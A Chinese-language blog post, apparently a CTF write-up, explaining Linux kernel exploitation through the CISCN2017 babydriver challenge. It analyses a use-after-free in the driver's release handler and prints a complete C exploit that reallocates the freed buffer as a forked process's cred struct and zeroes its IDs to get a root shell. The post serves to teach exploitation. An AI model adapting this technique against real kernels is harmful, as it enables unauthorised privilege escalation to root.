编辑
2023-03-08
Kernel Pwn
00
请注意,本文编写于 693 天前,最后修改于 693 天前,其中某些信息可能已经过时。

目录

目的
CISCN2017 - babydriver
文件分析
漏洞分析
exp编写

这名字我更熟

目的

最终Kernel Pwn的目的都是提权 但是Kernel UAF和普通用户态的UAF的区别是 内核中往往不会利用堆块之间的链接等关系 来泄漏基地址 最后修改__malloc_hook等之类的钩子来实现开shell 因为我们都已经拥有shell了 完全不需要以上这些操作

内核中往往是通过UAF造成堆块重叠 然后尝试fork出来一个新进程 使刚刚释放的堆块可控 最后达到修改cred结构体的目的

cred结构体内部包含着进程的权限

c
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ }; } __randomize_layout;

只要我们将uidgid修改为0 即可实现提权到root

CISCN2017 - babydriver

文件分析

依然是选用CTFWiki上的题目作为例题 解压附件后是老三样boot.sh bzImage rootfs.cpio 首先我们要做的就是解压文件系统了

bash
cpio -idv < ./rootfs.cpio

我们需要着重看的还是init 其中可以看出来加载了babydriver.ko

那么基本上漏洞就是在这里了

漏洞分析

查个保护 发现没删符号表 十分舒适 直接上IDA

函数表依旧很清爽

先来看看babydriver_init() 有了之前编写驱动的基础 大致一扫就知道是注册设备那一套流程 没有什么大用

下来看看babyioctl() 当控制代码为0x10001时 实现了free掉device_buf然后根据用户的输入重新malloc一个device_buf并且将大小存入到device_buf_len

接下来就是看看自定义函数了 首先来看看babyopen 函数实现了当打开设备时自动malloc一个0x40的堆块 存放到device_buf

babyread()实现了将device_buf中的内容输出到用户空间

babywrite()实现了将用户的输入存储到device_buf中

babyrelease()实现了free掉device_buf但是注意 此时没有清空结构体中的指针 造成了UAF漏洞

那么基本思路就有了 因为babydev_struct结构体是个全局变量 当多次打开设备的时候 其实是共用一个结构体的 所以我们可以打开两次设备 然后修改device_buf的大小为cred结构体大小 然后关闭设备 这样这个cred结构体大小的堆块就会被free掉 然后我们fork一个进程出来 这样这个进程会重新申请一个cred结构体 正好就是我们刚刚kfree掉的那个堆块 然后使用第一次打开的设备来修改cred结构体 实现提权

exp编写

c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <sys/types.h> #include <sys/ioctl.h> // gcc exp.c -o exp -static -masm=intel -g size_t commit_creds; size_t prepare_kernel_cred; size_t user_cs,user_ss,user_rflags,user_sp; void saveStatus() { __asm__("mov user_cs,cs;" "mov user_ss,ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("Status has been saved...\n"); } int main(void) { int fd1=open("/dev/babydev",2); int fd2=open("/dev/babydev",2); ioctl(fd1,0x10001,0xa8); close(fd1); int pid=fork(); if(pid<0) { puts("fork error..."); } else if(pid==0) { // size_t // read(fd2,) char zero[30]={0}; write(fd2,zero,28); if(getuid()==0) { system("/bin/sh"); return 0; } else { puts("cred error"); } } else { wait(NULL); } close(fd2); return -1; }

老样子 编译好丢进文件系统启动虚拟机即可

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!